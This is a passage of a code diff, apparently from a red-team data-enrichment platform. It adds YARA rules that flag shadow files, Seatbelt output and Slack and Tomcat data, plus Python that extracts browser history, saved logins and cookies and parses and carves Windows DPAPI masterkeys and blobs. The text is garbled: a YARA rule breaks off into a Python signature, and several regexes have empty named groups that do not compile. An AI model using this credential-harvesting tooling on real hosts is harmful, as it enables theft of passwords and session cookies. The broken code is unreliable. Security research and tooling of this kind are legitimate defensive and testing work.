+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/seatbelt_json.yara
@@ -0,0 +1,7 @@
+rule is_seatbelt_json
+{
+ strings:
+ $str = "{\"Type\":\"Seatbelt.Commands.HostDTO\",\""
+ condition:
+ $str
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/shadow.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/shadow.yara
new file mode 100644
index 0000000..4051010
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/shadow.yara
@@ -0,0 +1,7 @@
+rule is_shadow
+{
+ strings:
+ $re = /root:.*:[0-9]{,10}:[0-9]{,10}:[0-9]{,10}:[0-9]{,10}:::/
+ condition:
+ $re
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_downloads.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_downloads.yara
new file mode 100644
index 0000000..df89160
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_downloads.yara
@@ -0,0 +1,10 @@
+rule is_slack_downloads
+{
+ strings:
+ $str1 = "\"appVersion\":"
+ $str2 = "\"teamId\":"
+ $str3 = "\"downloadState\":"
+ $str4 = "\"downloadPath\":"
+ condition:
+ $str1 and $str2 and $str3 and $str4
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_workspaces.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_workspaces.yara
new file mode 100644
index 0000000..9cb68a1
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_workspaces.yara
@@ -0,0 +1,9 @@
+rule is_slack_workspaces
+{
+ strings:
+ $str1 = "\"domain\":"
+ $str2 = "\"icon\":"
+ $str3 = "\"image_original\":"
+ condition:
+ $str1 and $str2 and $str3
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/tomcat.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/tomcat.yara
new file mode 100644
index 0000000..7bf9617
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/tomcat.yara
@@ -0,0 +1,8 @@
+rule is_tomcat_users
+{
+ strings:
+ $str1 = ""
+ $str2 = " ChromiumFilePath:
+ """
+ Checks if a file path is a Chromium file (Cookies, Login Data, History, or Local State)
+ and returns a ChromiumFilePath object.
+ """
+
+ chromium_file_path = ChromiumFilePath(file_path)
+
+ regex1 = re.compile(
+ ".*/(?P.*)/AppData/Local/(Google|Microsoft|BraveSoftware)/(?PChrome|Edge|Brave-Browser)/User Data/(?PLocal State|Default/History|Default/Login Data|Default/Cookies|Default/Network/Cookies)$"
+ )
+ matches1 = regex1.search(file_path, re.IGNORECASE)
+
+ if matches1:
+ # Chrome/Edge/Brave being normal
+ chromium_file_path.success = True
+ chromium_file_path.username = matches1.group("username").lower()
+ chromium_file_path.browser = matches1.group("browser").split("-")[0].lower()
+
+ loc = file_path.find("/User Data/") + len("/User Data/")
+ chromium_file_path.user_data_directory = file_path[0:loc]
+
+ match matches1.group("type"):
+ case "Local State":
+ chromium_file_path.file_type = "state"
+ case "Default/History":
+ chromium_file_path.file_type = "history"
+ case "Default/Login Data":
+ chromium_file_path.file_type = "logins"
+ case "Default/Cookies":
+ chromium_file_path.file_type = "cookies"
+ case "Default/Network/Cookies":
+ chromium_file_path.file_type = "cookies"
+ else:
+ # stupid Opera being a special case
+ regex2 = re.compile(
+ ".*/(?P.*)/AppData/Roaming/Opera Software/Opera Stable/(?PLocal State|History|Login Data|Cookies|Network/Cookies)$"
+ )
+ matches2 = regex2.search(file_path)
+
+ if matches2:
+ chromium_file_path.success = True
+ chromium_file_path.username = matches2.group("username").lower()
+ chromium_file_path.browser = "opera"
+
+ loc = file_path.find("/Opera Stable/") + len("/Opera Stable/")
+ chromium_file_path.user_data_directory = file_path[0:loc]
+
+ match matches2.group("type"):
+ case "Local State":
+ chromium_file_path.file_type = "state"
+ case "History":
+ chromium_file_path.file_type = "history"
+ case "Login Data":
+ chromium_file_path.file_type = "logins"
+ case "Cookies":
+ chromium_file_path.file_type = "cookies"
+ case "Network/Cookies":
+ chromium_file_path.file_type = "cookies"
+
+ return chromium_file_path
+
+
+def convert_chromium_timestamp_to_datetime(timestamp: int) -> datetime.datetime:
+ """Converts a Chromium timestamp value to datetime."""
+ return datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=timestamp)
+
+
+async def process_chromium_history(
+ object_id: str,
+ file_path: str,
+ metadata: pb.Metadata,
+ parsed_data: pb.ParsedData,
+ chromium_history_q: MessageQueueProducerInterface,
+ chromium_downloads_q: MessageQueueProducerInterface,
+) -> None:
+ """
+ Helper that parses out the appropriate data from the "history" and "downloads"
+ tables from a Chromium `History` file, builds the appropriate protobuf messages,
+ and publishes them to the passed queues.
+
+ TODO: do we need to chunk up the URLs into some batch size?
+ """
+ async with aiosqlite.connect(file_path) as db:
+ # first parse out all of the url entries and emit one or more ChromiumHistoryMessage protobufs
+ async with db.execute("SELECT url,title,visit_count,typed_count,last_visit_time FROM urls") as cursor:
+ chromium_history_message = pb.ChromiumHistoryMessage()
+ chromium_history_message.metadata.CopyFrom(metadata)
+
+ async for row in cursor:
+ history_entry = pb.ChromiumHistoryEntry()
+
+ history_entry.originating_object_id = object_id
+ history_entry.user_data_directory = parsed_data.chromium_history.user_data_directory
+ history_entry.username = parsed_data.chromium_history.username
+ history_entry.browser = parsed_data.chromium_history.browser
+
+ (
+ history_entry.url,
+ history_entry.title,
+ history_entry.visit_count,
+ history_entry.typed_count,
+ last_visit_time,
+ ) = row
+
+ last_visit_time_dt = convert_chromium_timestamp_to_datetime(last_visit_time)
+ history_entry.last_visit_time.FromDatetime(last_visit_time_dt)
+
+ chromium_history_message.data.append(history_entry)
+
+ await chromium_history_q.Send(chromium_history_message.SerializeToString())
+
+ # first parse out all of the downloads and emit one or more ChromiumDownloadMessage protobufs
+ async with db.execute("SELECT tab_url,target_path,start_time,end_time,total_bytes,danger_type FROM downloads") as cursor:
+ chromium_download_message = pb.ChromiumDownloadMessage()
+ chromium_download_message.metadata.CopyFrom(metadata)
+
+ async for row in cursor:
+ download = pb.ChromiumDownload()
+
+ download.originating_object_id = object_id
+ download.user_data_directory = parsed_data.chromium_history.user_data_directory
+ download.username = parsed_data.chromium_history.username
+ download.browser = parsed_data.chromium_history.browser
+
+ (
+ download.url,
+ download_path,
+ start_time,
+ end_time,
+ download.total_bytes,
+ danger_type,
+ ) = row
+
+ download.download_path = download_path.replace("\\", "/")
+ start_time_dt = convert_chromium_timestamp_to_datetime(start_time)
+ end_time_dt = convert_chromium_timestamp_to_datetime(end_time)
+ download.start_time.FromDatetime(start_time_dt)
+ download.end_time.FromDatetime(end_time_dt)
+ download.danger_type = DangerType(danger_type).name
+
+ chromium_download_message.data.append(download)
+
+ await chromium_downloads_q.Send(chromium_download_message.SerializeToString())
+
+
+async def process_chromium_logins(
+ object_id: str, file_path: str, metadata: pb.Metadata, parsed_data: pb.ParsedData, chromium_logins_q: MessageQueueProducerInterface
+) -> None:
+ """
+ Helper that parses out the appropriate data from the "logins" table from a
+ Chromium `Login Data` file, builds the appropriate protobuf messages, and publishes
+ them to the passed queue.
+ """
+ async with aiosqlite.connect(file_path) as db:
+ # first parse out all of the url entries and emit one or more ChromiumLoginMessage protobufs
+ async with db.execute(
+ "SELECT origin_url,username_value,CAST(password_value as BLOB),signon_realm,date_created,date_last_used,date_password_modified,times_used FROM logins"
+ ) as cursor:
+ chromium_login_message = pb.ChromiumLoginMessage()
+ chromium_login_message.metadata.CopyFrom(metadata)
+
+ async for row in cursor:
+ login = pb.ChromiumLogin()
+
+ login.masterkey_guid = "00000000-0000-0000-0000-000000000000" # default null for UUID
+ login.originating_object_id = object_id
+ login.user_data_directory = parsed_data.chromium_logins.user_data_directory
+ login.username = parsed_data.chromium_logins.username
+ login.browser = parsed_data.chromium_logins.browser
+
+ (
+ login.origin_url,
+ login.username_value,
+ login.password_value_enc,
+ login.signon_realm,
+ date_created,
+ date_last_used,
+ date_password_modified,
+ times_used,
+ ) = row
+
+ if times_used is not None:
+ login.times_used = times_used
+
+ if len(login.password_value_enc) > 0:
+ if login.password_value_enc.startswith(b"v10"):
+ login.encryption_type = "aes"
+ else:
+ blob = await parse_dpapi_blob(login.password_value_enc)
+ if blob.success:
+ login.encryption_type = "dpapi"
+ login.masterkey_guid = blob.dpapi_master_key_guid
+ else:
+ login.encryption_type = "unknown"
+ else:
+ login.encryption_type = "unknown"
+
+ date_created_dt = convert_chromium_timestamp_to_datetime(date_created)
+ login.date_created.FromDatetime(date_created_dt)
+ date_last_used_dt = convert_chromium_timestamp_to_datetime(date_last_used)
+ login.date_last_used.FromDatetime(date_last_used_dt)
+ date_password_modified_dt = convert_chromium_timestamp_to_datetime(date_password_modified)
+ login.date_password_modified.FromDatetime(date_password_modified_dt)
+
+ chromium_login_message.data.append(login)
+
+ await chromium_logins_q.Send(chromium_login_message.SerializeToString())
+
+
+async def process_chromium_cookies(
+ object_id: str, file_path: str, metadata: pb.Metadata, parsed_data: pb.ParsedData, chromium_cookies_q: MessageQueueProducerInterface
+) -> None:
+ """
+ Helper that parses out the appropriate data from the "cookies" table from a
+ Chromium `Login Data` file, builds the appropriate protobuf messages, and publishes
+ them to the passed queue.
+ """
+ async with aiosqlite.connect(file_path) as db:
+ # first parse out all of the url entries and emit one or more ChromiumLoginMessage protobufs
+ async with db.execute(
+ "SELECT host_key,name,path,creation_utc,expires_utc,last_access_utc,last_update_utc,is_secure,is_httponly,is_persistent,samesite,source_port,CAST(encrypted_value as BLOB) FROM cookies"
+ ) as cursor:
+ chromium_cookie_message = pb.ChromiumCookieMessage()
+ chromium_cookie_message.metadata.CopyFrom(metadata)
+
+ async for row in cursor:
+ cookie = pb.ChromiumCookie()
+
+ cookie.masterkey_guid = "00000000-0000-0000-0000-000000000000" # default null for UUID
+ cookie.originating_object_id = object_id
+ cookie.user_data_directory = parsed_data.chromium_cookies.user_data_directory
+ cookie.username = parsed_data.chromium_cookies.username
+ cookie.browser = parsed_data.chromium_cookies.browser
+
+ (
+ host_key,
+ cookie.name,
+ cookie.path,
+ creation_utc,
+ expires_utc,
+ last_access_utc,
+ last_update_utc,
+ cookie.is_secure,
+ cookie.is_httponly,
+ is_persistent,
+ samesite,
+ cookie.source_port,
+ cookie.value_enc,
+ ) = row
+
+ cookie.host_key = host_key.lstrip(".").lower()
+ cookie.is_session = not is_persistent
+
+ match samesite:
+ case 0:
+ cookie.samesite = "NONE"
+ case 1:
+ cookie.samesite = "LAX"
+ case 2:
+ cookie.samesite = "STRICT"
+ case _:
+ cookie.samesite = "UNKNOWN"
+
+ if len(cookie.value_enc) > 0:
+ if cookie.value_enc.startswith(b"v10"):
+ cookie.encryption_type = "aes"
+ else:
+ blob = await parse_dpapi_blob(cookie.value_enc)
+ if blob.success:
+ cookie.encryption_type = "dpapi"
+ cookie.masterkey_guid = blob.dpapi_master_key_guid
+ else:
+ cookie.encryption_type = "unknown"
+ else:
+ cookie.encryption_type = "unknown"
+
+ creation_dt = convert_chromium_timestamp_to_datetime(creation_utc)
+ cookie.creation.FromDatetime(creation_dt)
+ expires_dt = convert_chromium_timestamp_to_datetime(expires_utc)
+ cookie.expires.FromDatetime(expires_dt)
+ last_access_dt = convert_chromium_timestamp_to_datetime(last_access_utc)
+ cookie.last_access.FromDatetime(last_access_dt)
+ last_update_dt = convert_chromium_timestamp_to_datetime(last_update_utc)
+ cookie.last_update.FromDatetime(last_update_dt)
+
+ chromium_cookie_message.data.append(cookie)
+
+ await chromium_cookies_q.Send(chromium_cookie_message.SerializeToString())
+
+
+##################################################
+#
+# DPAPI helpers
+#
+# TODO: make these async?
+#
+##################################################
+
+
+def parse_masterkey_file_path(file_path_orig: str) -> dict:
+ """
+ Checks if a file path is a masterkey file, returning the username,
+ user SID, and masterkey file GUID if the path matches, as well
+ as true if the file is a machine path.
+
+ If the file does not match a masterkey path, "None" is returned.
+ """
+
+ user_masterkey_regex = ".*/(?P[\w\. -]+)/AppData/Roaming/Microsoft/Protect/(?PS-1-[0-59]-\d{2}-\d{8,10}-\d{8,10}-\d{8,10}-[1-9]\d{3})/.*(?P[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$"
+ machine_masterkey_regex = ".*/System32/Microsoft/Protect/(?PS-1-[0-59]-[0-9\-]+)/.*(?P[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$"
+
+ user_pattern = re.compile(user_masterkey_regex)
+ user_matches = user_pattern.search(file_path_orig)
+
+ if user_matches:
+ return {
+ "username": user_matches.group("username"),
+ "sid": user_matches.group("sid"),
+ "guid": user_matches.group("guid"),
+ "is_machine_path": False,
+ }
+ else:
+ machine_pattern = re.compile(machine_masterkey_regex)
+ machine_matches = machine_pattern.search(file_path_orig)
+
+ if machine_matches:
+ return {"username": "", "sid": machine_matches.group("sid"), "guid": machine_matches.group("guid"), "is_machine_path": True}
+ else:
+ return {}
+
+
+def parse_masterkey_file(data):
+ """Parses DPAPI masterkey bytes to its masterkey and domainkey components.
+
+ Returns a DpapiMasterkey protobuf.
+ """
+
+ try:
+ dpapi_masterkey = pb.DpapiMasterkey()
+ mkf = MasterKeyFile(data)
+ dpapi_masterkey.masterkey_guid = mkf["Guid"].decode("UTF-16-LE")
+
+ data = data[len(mkf) :]
+ masterkey_len = mkf["MasterKeyLen"]
+ backupkey_len = mkf["BackupKeyLen"]
+ credhist_len = mkf["CredHistLen"]
+ domainkey_len = mkf["DomainKeyLen"]
+
+ if mkf["MasterKeyLen"] > 0:
+ mk = MasterKey(data[:masterkey_len])
+ dpapi_masterkey.masterkey_bytes = data[:masterkey_len]
+ data = data[len(mk) :]
+
+ if mkf["BackupKeyLen"] > 0:
+ bkmk = MasterKey(data[:backupkey_len])
+ data = data[len(bkmk) :]
+
+ if mkf["CredHistLen"] > 0:
+ ch = CredHist(data[:credhist_len])
+ data = data[len(ch) :]
+
+ if domainkey_len > 0:
+ dk = DomainKey(data[:domainkey_len])
+ dpapi_masterkey.domain_backupkey_guid = bin_to_string(dk["Guid"]).lower()
+ dpapi_masterkey.domainkey_pb_secret = dk["SecretData"]
+ data = data[len(dk) :]
+
+ return dpapi_masterkey
+
+ except:
+ return None
+
+
+def process_masterkey_file(object_id, file_path, file_path_orig, metadata):
+ """
+ Takes a Nemesis UUID representing a downloaded masterkey file, the
+ original file path (to extract the username/SID), and the metadata for
+ the file, parses the masterkey file, and returns a pb.DpapiMasterkeyMessage.
+ """
+
+ parsed_path = parse_masterkey_file_path(file_path_orig)
+
+ with open(file_path, "rb") as f:
+ file_bytes = f.read()
+
+ dpapi_masterkey = parse_masterkey_file(file_bytes)
+
+ if dpapi_masterkey:
+ dpapi_masterkey.object_id = object_id
+
+ if parsed_path and "username" in parsed_path:
+ dpapi_masterkey.username = parsed_path["username"]
+
+ if parsed_path and "sid" in parsed_path:
+ dpapi_masterkey.user_sid = parsed_path["sid"]
+
+ # determine the "type" of this masterkey based on the path + presence of a domain backup key
+ if parsed_path and "is_machine_path" in parsed_path and parsed_path["is_machine_path"]:
+ dpapi_masterkey.type = "machine"
+ elif dpapi_masterkey.domainkey_pb_secret:
+ dpapi_masterkey.type = "domain_user"
+ else:
+ dpapi_masterkey.type = "local_user"
+
+ dpapi_masterkey.is_decrypted = False
+
+ return dpapi_masterkey
+
+
+@dataclass
+class ParsedDpapiBlob:
+ dpapi_master_key_guid: Optional[str] = str
+ dpapi_data: Optional[bytes] = None
+ success: bool = False # true/false if parsing was successful or not
+
+
+async def parse_dpapi_blob(blob_bytes: bytes) -> ParsedDpapiBlob:
+ """Async Helper that parses a single DPAPI blob to a dict of {dpapi_master_key_guid, dpapi_data}"""
+
+ parsed_blob = ParsedDpapiBlob()
+
+ try:
+ # it's a bit tricky to carve _just_ the DPAPI blob, but this is how:
+ blob = DPAPI_BLOB(blob_bytes)
+ if blob.rawData is not None:
+ blob.rawData = blob.rawData[: len(blob.getData())]
+ parsed_blob.dpapi_master_key_guid = bin_to_string(blob["GuidMasterKey"]).lower()
+ parsed_blob.dpapi_data = blob.rawData
+ parsed_blob.success = True
+ except Exception as e:
+ await logger.awarning(f"Error in parse_dpapi_blob: {e}")
+
+ return parsed_blob
+
+
+def parse_dpapi_blob_sync(blob_bytes: bytes) -> ParsedDpapiBlob:
+ """Non-aysnc Helper that parses a single DPAPI blob to a dict of {dpapi_master_key_guid, dpapi_data}"""
+
+ parsed_blob = ParsedDpapiBlob()
+
+ try:
+ # it's a bit tricky to carve _just_ the DPAPI blob, but this is how:
+ blob = DPAPI_BLOB(blob_bytes)
+ if blob.rawData is not None:
+ blob.rawData = blob.rawData[: len(blob.getData())]
+ parsed_blob.dpapi_master_key_guid = bin_to_string(blob["GuidMasterKey"]).lower()
+ parsed_blob.dpapi_data = blob.rawData
+ parsed_blob.success = True
+ except Exception as e:
+ logger.warning(f"Error in parse_dpapi_blob_sync: {e}")
+
+ return parsed_blob
+
+
+async def carve_dpapi_blobs_from_bytes_helper(raw_bytes: bytes, file_name: str = "", nemesis_uuid: str = "") -> List[ParsedDpapiBlob]:
+ """
+ Helper that _just_ carves raw DPAPI blobs from bytes,
+ returning a list of dicts {dpapi_master_key_guid, dpapi_data}
+ """
+ dpapi_blobs = list()
+ dpapi_signature = b"\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB"
+
+ # The following are potential base64 representations of the DPAPI provider GUID
+ # Generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/
+ dpapi_b64_signatures = [b"AAAA0Iyd3wEV0RGMegDAT8KX6", b"AQAAANCMnd8BFdERjHoAwE/Cl+", b"EAAADQjJ3fARXREYx6AMBPwpfr"]
+
+ current_pos = 0
+ loc = raw_bytes.find(dpapi_signature)
+ while loc != -1:
+ current_pos = loc
+ # parse the blob so we get the masterkey GUID and carve the data into one blob
+ try:
+ blob = await parse_dpapi_blob(raw_bytes[current_pos:])
+ if not blob.success:
+ if file_name != "" and nemesis_uuid != "":
+ await logger.awarning("carve_dpapi_blobs_from_bytes: blob.rawData is None", file_name=file_name, nemesis_uuid=nemesis_uuid)
+ else:
+ await logger.awarning("carve_dpapi_blobs_from_bytes: blob.rawData is None")
+ current_pos += 1
+ elif blob.dpapi_data:
+ current_pos += len(blob.dpapi_data)
+ dpapi_blobs.append(blob)
+ except Exception as e:
+ if file_name != "":
+ await logger.awarning(f"exception parsing file {file_name} for dpapi blobs: {e}")
+ else:
+ await logger.awarning(f"exception parsing bytes for dpapi blobs: {e}")
+ return dpapi_blobs
+ loc = raw_bytes.find(dpapi_signature, current_pos)
+
+ # check for our b64 signatures
+ for dpapi_b64_signature in dpapi_b64_signatures:
+ loc = raw_bytes.find(dpapi_b64_signature, current_pos)
+ while loc != -1:
+ end_loc = loc
+ # try to check for the end of the base64 string
+ for i in range(loc, len(raw_bytes)):
+ if raw_bytes[i] not in b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=":
+ end_loc = i
+ break
+ if end_loc != loc:
+ try:
+ dpapi_blob_raw = base64.b64decode(raw_bytes[loc:end_loc])
+ blob = await parse_dpapi_blob(dpapi_blob_raw)
+ current_pos += (end_loc - loc)
+ if not blob.success:
+ await logger.awarning("carve_dpapi_blobs: blob.rawData is None", file_name=file_name, nemesis_uuid=nemesis_uuid)
+ elif blob.dpapi_data:
+ dpapi_blobs.append(blob)
+ except Exception as e:
+ if file_name != "":
+ await logger.awarning(f"exception parsing file {file_name} for b64dpapi blobs: {e}")
+ else:
+ await logger.awarning(f"exception parsing bytes for dpapi blobs: {e}")
+ return dpapi_blobs
+ loc = raw_bytes.find(dpapi_b64_signature, current_pos)
+
+ return dpapi_blobs
+
+
+async def carve_dpapi_blobs_from_file_helper(file_name: str, nemesis_uuid: str) -> List[ParsedDpapiBlob]:
+ """
+ Helper that _just_ carves raw DPAPI blobs from a file,
+ returning a list of dicts {dpapi_master_key_guid, dpapi_data}
+ """
+
+ dpapi_blobs = list()
+ chunk_size = 512000
+
+ with open(file_name, "rb") as f:
+ # chunking to handle large files
+ while chunk := f.read(chunk_size):
+ dpapi_blobs += await carve_dpapi_blobs_from_bytes_helper(chunk, file_name, nemesis_uuid)
+
+ return dpapi_blobs
+
+
+async def carve_dpapi_blobs_from_file(
+ file_name: str, nemesis_uuid: str, metadata: pb.Metadata
+) -> Optional[tuple[list[str], list[pb.DpapiBlobMessage]]]:
+ """Carves dpapi blobs from a binary file.
+
+ Searches the specified file_name for any DPAPI blobs, extracting
+ the blob data and masterkey GUID for any found. For any carved blobs,
+ a DpapiBlob protobuf is contructed and returned.
+ """
+
+ blob_limit = 1000
+
+ await logger.adebug("Carving DPAPI blobs from a file", file_name=file_name)
+
+ dpapi_blobs = await carve_dpapi_blobs_from_file_helper(file_name, nemesis_uuid)
+
+ if len(dpapi_blobs) < blob_limit:
+ # parse each blob out if there are less than 1000 instances
+ # this is so we avoid things like Chrome DBs/etc. (for now)
+
+ dpapi_blob_ids: List[str] = []
+ dpapi_blob_messages: List[pb.DpapiBlobMessage] = []
+
+ for dpapi_blob in dpapi_blobs:
+ try:
+ dpapi_blob_message = pb.DpapiBlobMessage()
+ dpapi_blob_message.metadata.CopyFrom(metadata)
+
+ blob_pb = dpapi_blob_message.data.add()
+
+ # create a new UUID for this blob so the file it originated from can track it
+ dpapi_blob_id = f"{uuid.uuid4()}"
+ dpapi_blob_ids.append(dpapi_blob_id)
+
+ blob_pb.dpapi_blob_id = dpapi_blob_id
+ blob_pb.originating_object_id = nemesis_uuid
+ blob_pb.masterkey_guid = dpapi_blob.dpapi_master_key_guid
+ blob_pb.is_decrypted = False
+
+ blob_pb.enc_data_bytes = dpapi_blob.dpapi_data
+
+ dpapi_blob_messages.append(dpapi_blob_message)
+
+ except Exception as e:
+ await logger.awarning(f"Error extracting dpapi blob: {e}")
+
+ return (dpapi_blob_ids, dpapi_blob_messages)
+ else:
+ await logger.awarning(
+ f"Number of DPAPI blobs in file '{file_name}' (nemesis_uuid {nemesis_uuid}) ({len(dpapi_blobs)}) exceeds the {blob_limit} limit"
+ )
+ return None
+
+
+async def carve_dpapi_blobs_from_reg_key(
+ raw_bytes: bytes, originating_registry_id: str, metadata: pb.Metadata
+) -> Optional[tuple[list[str], list[pb.DpapiBlobMessage]]]:
+ """Carves dpapi blobs from a binary blob.
+
+ Searches the specified file_name for any DPAPI blobs, extracting
+ the blob data and masterkey GUID for any found. For any carved blobs,
+ a DpapiBlob protobuf is contructed and returned.
+ """
+
+ blob_limit = 1000
+
+ await logger.adebug("Carving DPAPI blobs from a binary blob")
+
+ dpapi_blobs = await carve_dpapi_blobs_from_bytes_helper(raw_bytes)
+
+ if len(dpapi_blobs) < blob_limit:
+ # parse each blob out if there are less than 1000 instances
+ # this is so we avoid things like Chrome DBs/etc. (for now)
+
+ dpapi_blob_ids: List[str] = []
+ dpapi_blob_messages: List[pb.DpapiBlobMessage] = []
+
+ for dpapi_blob in dpapi_blobs:
+ try:
+ dpapi_blob_message = pb.DpapiBlobMessage()
+ dpapi_blob_message.metadata.CopyFrom(metadata)
+
+ blob_pb = dpapi_blob_message.data.add()
+
+ # create a new UUID for this blob so the file it originated from can track it
+ dpapi_blob_id = f"{uuid.uuid4()}"
+ dpapi_blob_ids.append(dpapi_blob_id)
+
+ blob_pb.dpapi_blob_id = dpapi_blob_id
+ blob_pb.originating_registry_id = originating_registry_id
+ blob_pb.masterkey_guid = dpapi_blob.dpapi_master_key_guid
+ blob_pb.is_decrypted = False
+
+ blob_pb.enc_data_bytes = dpapi_blob.dpapi_data
+
+ dpapi_blob_messages.append(dpapi_blob_message)
+
+ except Exception as e:
+ await logger.awarning(f"Error extracting dpapi blob: {e}")
+
+ return (dpapi_blob_ids, dpapi_blob_messages)
+ else:
+ await logger.awarning(
+ f"Number of DPAPI blobs in blob (originating_registry_id {originating_registry_id}) ({len(dpapi_blobs)}) exceeds the {blob_limit} limit"
+ )
+ return None
+
+
+##################################################
+#
+# Misc helpers
+#
+##################################################
+
+def extract_binary_path(raw_file_path: str) -> Optional[str]:
+ """
+ Adapted regex from Seatbelt/SharpUp that extracts out a binary path from
+ a raw (potentially quoted) file path.
+ """
+
+ match = re.search(r"^\W*(([a-z]:\\|\\\\[a-zA-Z0-9\-\.]+|system).+?(\.exe|\.dll|\.sys))\W*", raw_file_path, re.IGNORECASE)
+
+ if match:
+ return match.groups()[0]
+ else:
+ return None
+
+
+def get_py_files(src: str, only_file_modules: bool = False) -> List[str]:
+ """Walks a directory to retrieve all .py files.
+
+ Ref: https://stackoverflow.com/a/57892961
+ """
+
+ cwd = os.getcwd()
+ py_files = []
+ for root, dirs, files in os.walk(src):
+ for file in files:
+ if file.endswith(".py"):
+ if only_file_modules:
+ # retrieve just the file modules we want to use
+ if (root == src) and (not file.startswith("__")) and (file != "Meta.py"):
+ py_files.append(os.path.split(file)[-1][:-3].lower())
+ else:
+ py_files.append(os.path.join(cwd, root, file))
+ return py_files
+
+
+def dynamic_import(module_name: str, py_path: str):
+ """Dynamically imports a Python module from a supplied path.
+
+ TODO: unsure of the exact return type here
+
+ Ref: https://stackoverflow.com/a/57892961
+ """
+
+ module_spec = importlib.util.spec_from_file_location(module_name, py_path)
+ if module_spec is None:
+ raise ImportError(f"module_spec is None for the supplied module_name '{module_name}' and py_path '{py_path}'")
+
+ module = importlib.util.module_from_spec(module_spec)
+ if module is None:
+ raise ImportError(f"module is None for the supplied module_name '{module_name}' and py_path '{py_path}'")
+
+ if module_spec.loader is None:
+ raise ImportError(f"module_spec.loader is None for the supplied module_name '{module_name}' and py_path '{py_path}'")
+
+ module_spec.loader.exec_module(module)
+
+ return module
+
+
+def dynamic_import_from_src(src: str, star_import: bool = True):
+ """Enumerates all Python modules on a path and dynamically imports them.
+
+ TODO: unsure of the exact return type here
+
+ Ref: https://stackoverflow.com/a/57892961
+ """
+ sys.path.insert(0, os.getcwd() + f"/{src}") # make sure our file folder is set for those imports
+ my_py_files = get_py_files(src)
+ file_modules = get_py_files(src, True)
+ imported = dict()
+ for py_file in my_py_files:
+ module_name = os.path.split(py_file)[-1][:-3]
+ imported_module = dynamic_import(module_name, py_file)
+ if star_import:
+ for obj in dir(imported_module):
+ imported[obj.lower()] = imported_module.__dict__[obj]
+ else:
+ imported[module_name] = imported_module
+ return (imported, file_modules)
+
+
+def hash_file(nemesis_uuid: str) -> Optional[pb.FileHashes]:
+ """Hashes a supplied file path.
+
+ Reads the given nemesis UUID file from disk in 128k byte chunks
+ and hashes the file bytes, returning md5/sha1/sha256 digests of
+ the input data.
+ """
+
+ chunk_size = 128000
+ file_hashes = pb.FileHashes()
+
+ try:
+ with open(nemesis_uuid, "rb") as f:
+ md5 = hashlib.md5()
+ sha1 = hashlib.sha1()
+ sha256 = hashlib.sha256()
+
+ while chunk := f.read(chunk_size):
+ md5.update(chunk)
+ sha1.update(chunk)
+ sha256.update(chunk)
+
+ file_hashes.md5 = md5.hexdigest()
+ file_hashes.sha1 = sha1.hexdigest()
+ file_hashes.sha256 = sha256.hexdigest()
+
+ return file_hashes
+
+ except Exception as e:
+ logger.exception(e, message="Exception while hashing file", file_uuid=nemesis_uuid)
+ return None
+
+
+def get_magic_type(nemesis_uuid: str) -> str:
+ """Gets the magic type of a file.
+
+ Uses python-magic to retrieve the file type via libmagic for the
+ specified nemesis UUID file (a la the 'file' command but without subprocess).
+ """
+
+ magic_string = magic.from_file(nemesis_uuid)
+
+ if magic_string.startswith("Composite Document File V2 Document"):
+ magic_string = "Composite Document File V2 Document"
+
+ return magic_string
+
+
+def is_dotnet_assembly(nemesis_uuid: str) -> bool:
+ """Returns True if the supplied file name is a .NET assembly."""
+ # a bit of a hack but ended up being more reliable than the yara rule
+ return re.match(".*\\.Net assembly.*", get_magic_type(nemesis_uuid), re.IGNORECASE) is not None
+
+
+def tika_compatible(file_path: str) -> bool:
+ """Returns True if the file can be used with Tika.
+
+ Returns True if the supplied file_path matches a number of specific file extensions
+ that allow the document to work with Tika.
+ """
+ # image_regex = "^.*\\.(exr|avif|bmp|cgm|emf|g3|gif|heic|heif|ief|jp2|jpg|jpeg|jpm|jpf|jxl|ntf|png|btif|svg|tiff|psd|ppj|dgn|djvu|dxb|dxf|fbs|fpx|fst|mmr|rlc|mdi|npx|wbmp|xif|webp|wmf|bpg|cr2|cr3|rgb|xwd)$"
+ image_regex = "^.*\\.(bmp|gif|jpg|jpeg|png|svg|tiff|wbmp|webp|wmf)$"
+ is_image = re.match(image_regex, file_path, re.IGNORECASE) is not None
+
+ misc_regex = "^.*\\.(txt|rtf|chm|pdf)$"
+ is_misc = re.match(misc_regex, file_path, re.IGNORECASE) is not None
+
+ return is_office_doc(file_path) or is_image or is_misc
+
+
+def is_office_doc(file_path: str) -> bool:
+ """Returns True if the file has an extension that indicates it's an Office document."""
+ office_regex = "^.*\\.(doc|docx|docm|ppt|pptx|xls|xlsx|odt|ods|odp|ppt|pptx)$"
+ return re.match(office_regex, file_path, re.IGNORECASE) is not None
+
+
+def can_convert_to_pdf(file_path: str) -> bool:
+ """Returns True if the supplied file_path matches an extension that Gotenberg can convert."""
+ path_regex = (
+ "^.*\\.(bib|doc|docx|fodt|html|ltx|txt|odt|ott|pdb|psw|odg|"
+ "rtf|sdw|stw|sxw|uot|vor|wps|epub|emf|eps|fodg|met|odd|otg|dotx|"
